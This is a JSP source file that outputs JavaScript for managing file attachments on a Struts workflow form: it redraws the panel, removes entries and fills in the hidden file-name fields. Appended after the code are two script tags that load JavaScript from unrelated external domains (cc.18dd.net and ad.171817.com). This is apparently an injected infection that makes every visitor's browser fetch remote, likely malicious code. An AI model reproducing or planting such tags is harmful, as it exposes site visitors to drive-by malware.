<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
var formAttachedFiles = new Array();
var tmpFileColor = "#FFFFFF";
var overColor = "#B5D2EA";
var downColor = "#FFCC99";
var outColor = "#FFFFFF";
var fileHideNameSeq = "";
var frm = document.maintFormSubmissionForm;
if (window.opener && typeof (window.opener) != 'undefined' && window.opener.location.href.indexOf("MaintFormSectionFormElement.do")>-1){  
  frm = document.maintFormSectionForm;
}

  function FormAttachment(type, value, display, elementSeq, details){
    this.type = type || '';
    this.value = value || '';
    this.display = display || '';
    this.elementSeq = elementSeq || '';
    this.details = details || '';    
  }

  function redrawAttachmentPanel(fileHideName){

    attachmentContent = '';
    for (var i=0; i<formAttachedFiles.length; i++) { 
      attachment = formAttachedFiles[i];
      if (attachment.elementSeq == fileHideName){     
        attachmentContent += '<span id="attachment'+i+'_'+fileHideName+'" onmouseover="updateFormAttachmentPanel(\''+fileHideName+'\',this,\'over\');" onmouseout="updateFormAttachmentPanel(\''+fileHideName+'\',this, \'out\');" onmousedown="updateFormAttachmentPanel(\''+fileHideName+'\',this,\'down\');">'+attachment.display+'; </span>';
      }
    }
 
 	if(typeof(ChangeDivContent) == "function"){
      ChangeDivContent('attachmentDiv_'+fileHideName, attachmentContent);
      var attachmentDiv = FindObj('attachmentDiv_'+fileHideName);

      if (attachmentDiv) {
        fileHideNameSeq = fileHideName;
        if (document.layers) attachmentDiv.captureEvent(Event.KEYPRESS);
        attachmentDiv.onkeydown = handleKeyPress;
        updateVariables(fileHideName);
      }
    }

  }

  function handleKeyPress(e) {

    var keyCode = -1;

    if (e && e.which) keyCode = e.which; // NS4 & NS6
    else if (window.event && window.event.keyCode) keyCode = window.event.keyCode; // IE

    // keyCode now contains the ASCII code of the key hit 65 = A, 66 = B, etc

   if ( keyCode == 46 || keyCode == 8 ) {
     handleRemoveFormAttachment(fileHideNameSeq);
   }
  }

  function updateVariables(fileHideName,type){

    var frm;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }

    if(typeof type == 'undefined' || type == 'dms'){
      updateValue = '';
      updateDisplay = '';
      for(i=0;i<formAttachedFiles.length;i++){
        attachment = formAttachedFiles[i];
        if(attachment.type == 'dms' && attachment.elementSeq == fileHideName){
          updateValue += attachment.value +";";
          updateDisplay += attachment.display + ";";
        }
      }
      frm.elements['dmsFileNames_'+fileHideName].value = updateValue;
      frm.elements['displayDmsFileNames_'+fileHideName].value = updateDisplay;
    }

    if(typeof type == 'undefined' || type == 'normal' ){
      cnt = 0
      updateValue = '';
      updateDisplay = '';
      for(i=0;i<formAttachedFiles.length;i++){
        attachment = formAttachedFiles[i];
        if(attachment.type == 'normal' && attachment.elementSeq == fileHideName){
          cnt++;
          updateValue += attachment.value +"|";
          updateDisplay += attachment.display +";";
        }
      }
      frm.elements['fileNames_'+fileHideName].value =  cnt+"|"+updateValue;
      frm.elements['displayFileNames_'+fileHideName].value =  cnt+"|"+updateDisplay;

    }
  }


  function updateFormAttachmentPanel(fileHideName,spanObj, mode) {
    var overColor = "#B5D2EA";
    var downColor = "#FFCC99";
    var outColor = "#FFFFFF";
    var domDetect = false;

    if (typeof(window.opera) == 'undefined' && typeof(spanObj.getAttribute) != 'undefined') {
  //    domDetect = true;
    }

    if (mode == "over") {
      if (domDetect) {
        spanObj.setAttribute('bgcolor', overColor, 0);
      } else {
        spanObj.style.backgroundColor = overColor;
      }
    } else if (mode == "out") {
      var tmpColor = outColor;
      if (spanObj == activeRow) {
        tmpColor = downColor;
      }

      if (domDetect) {
        spanObj.setAttribute('bgcolor', tmpColor, 0);
      } else {
        spanObj.style.backgroundColor = tmpColor;
      }
    } else if (mode == "down") {
      if (activeRow != null) {
        if (domDetect) {
          activeRow.setAttribute('bgcolor', outColor, 0);
        } else {
          activeRow.style.backgroundColor = outColor;
        }
      }

      if (activeRow == spanObj) {
        activeRow = null;
        if (domDetect) {
          spanObj.setAttribute('bgcolor', outColor, 0);
        } else {
          spanObj.style.backgroundColor = outColor;
        }

      } else {
        activeRow = spanObj;
        if (domDetect) {
          spanObj.setAttribute('bgcolor', downColor, 0);
        } else {
          spanObj.style.backgroundColor = downColor;
        }
      }
    
      var result = "";
      result = ShowFormAttachmentOverlib(fileHideName);
      return overlib(result,FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);
    }
  }

  function ShowFormAttachmentOverlib(fileHideName) {
    var tableWidth = 140;
    var result = "";
    result += '<table width=\'' + tableWidth + '\' cellspacing=\'0\' cellpadding=\'1\'style=\'border-style:outset;border-width:2;background-color:#EEEEEE;\'>';
    result += '  <tr bgcolor=\'#1C4DA6\'>';
    result += '    <td align=\'left\' valign=\'middle\' height=\'18\'>';
    result += '    <nobr>&nbsp;<b><font color=\'#FFFFFF\'> <bean:message key="workflow.attachment.select.operation"/></font></b>&nbsp;</nobr>';
    result += '    </td>';
    result += '    <td align=\'right\' valign=\'middle\' height=\'18\'>';
    result += '    <a href=\'javascript:void(0)\' onclick=\'cClick()\'><img src=\'<html:img src="IconLayerCloseButton.gif"  pathOnly="true"/>\' border=\'0\'></a>';
    result += '    </td>';
     result += '  </tr>';
    result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'></td></tr>';
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'javascript:handleRemoveFormAttachment(\"'+fileHideName+'\");cClick();\'><td colspan=\'2\'>';
    result += '  <a href="javascript:void(0)" onclick="" style="text-decoration:none;"><bean:message key="workflow.attachment.remove_this"/></a><br>';
    result += '  </td></tr>';
    result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'></td></tr>';

    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'javascript:handleRemoveAllFormAttachment(\"'+fileHideName+'\");cClick();\'><td colspan=\'2\'>';
    result += '  <a href="javascript:void(0)" onclick="return(false);" style="text-decoration:none;"><bean:message key="workflow.attachment.remove_all"/></a><br>';
    result += '  </td></tr>';
     result += '</table>';
   return(result);
   
  }
  
  function handleRemoveFormAttachment(fileHideName){
    if (activeRow != null) {
      activeIndex = parseInt(activeRow.id.substring(10),10);  
      attachment = formAttachedFiles[activeIndex];  
      formAttachedFiles = arrayRemoveFormElement(formAttachedFiles, activeIndex);
      activeRow = null;
      redrawAttachmentPanel(fileHideName);
    }
    return false;
  }
  
  function handleRemoveAllFormAttachment(fileHideName){     
   
    formAttachedFiles = arrayRemoveAllFormElement(formAttachedFiles, fileHideName);   
    
    redrawAttachmentPanel(fileHideName);   
    return false;    
  }
  
  function arrayRemoveFormElement(arArray, Index){
    return arArray.slice(0,Index).concat(arArray.slice(Index+1));
  }
  
  function arrayRemoveAllFormElement(arArray, fileHideName){
    formAttachedFiles = arArray;
    var i = 0,  count=0;
    var tmpAttachedFiles = new Array();
    while (i < formAttachedFiles.length){
      attachment = formAttachedFiles[i];
      if (attachment.elementSeq != fileHideName){ 
         tmpAttachedFiles = tmpAttachedFiles.concat(formAttachedFiles[i]);        
      }else{
         count++;
      }      
      i++;      
    }
    
    return tmpAttachedFiles;
  }
  
 function PutFileNamesToForm(sValue, sName,fileHideName) {
        var frm;
         for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
       
          var oldUpdateFileValueLength = 0;
          var newUpdateFileValueLength = 0;
          var curUpdateFileValueLength = "";
          var strValue = unescape(sValue);
          var strName = unescape(sName);

          if ((frm.elements['oldUpdateFileValue_'+fileHideName].value).length>0 && 'null'!=(frm.elements['oldUpdateFileValue_'+fileHideName].value)){
             oldUpdateFileValueLength = (frm.elements['oldUpdateFileValue_'+fileHideName].value).substring(0,1);
          }
          newUpdateFileValueLength = strValue.substring(0,1);         
          curUpdateFileValueLength = parseInt(oldUpdateFileValueLength)+parseInt(newUpdateFileValueLength);
          frm.elements['fileNames_'+fileHideName].value = curUpdateFileValueLength+"|"+strValue.substring(2,strValue.length)+(frm.elements['oldUpdateFileValue_'+fileHideName].value).substring(2,(frm.elements['oldUpdateFileValue_'+fileHideName].value).length);
          frm.elements['displayFileNames_'+fileHideName].value = unescape(sName)+(frm.elements['oldUpdateFileText_'+fileHideName].value);
          frm.elements['FB_FILES_'+fileHideName].value = unescape(sName)+(frm.elements['oldUpdateFileText_'+fileHideName].value) ;

     
 /**
 * Adding newly uploaded files to array and redraw the attachment panel
 */
  if(strValue.length>2){
    var files = strValue.substring(2, strValue.length-1).split("|");
    for(i=0;i<files.length;i++){

      files[i] = new FormAttachment('normal', files[i], files[i].substring(0, files[i].indexOf(":")),fileHideName, '');
    }
    formAttachedFiles = formAttachedFiles.concat(files);
    redrawAttachmentPanel(fileHideName);
  }
   return false;
 }

  function setDmsFileNamesValue(displayDmsFileNames,dmsFileNames,fileHideName){
          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }

      frm.elements['dmsFileNames_'+fileHideName].value = dmsFileNames;
      frm.elements['displayDmsFileNames_'+fileHideName].value = displayDmsFileNames;
      frm.elements['FB_FILES_'+fileHideName].value = displayDmsFileNames;

  /**
 * Adding newly chosen DMS file to array and redraw attachment panel
 * TODO: handle remove
 */

  var files = (frm.elements['dmsFileNames_'+fileHideName].value).substring(0, (frm.elements['dmsFileNames_'+fileHideName].value).length-1).split('<%=com.dcivision.framework.GlobalConstant.FILENAME_SEPARATOR%>');
  for(i=0;i<files.length;i++){
//  formAttachedFiles[i] = files[i].substring(0, files[i].indexOf(":"));
    files[i] = new FormAttachment('dms', files[i], files[i].substring(files[i].indexOf(":")+2, files[i].lastIndexOf(":")-1),fileHideName,'');
  }

  formAttachedFiles = formAttachedFiles.concat(files);

  redrawAttachmentPanel(fileHideName);
// End
          //return(false);
 }

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>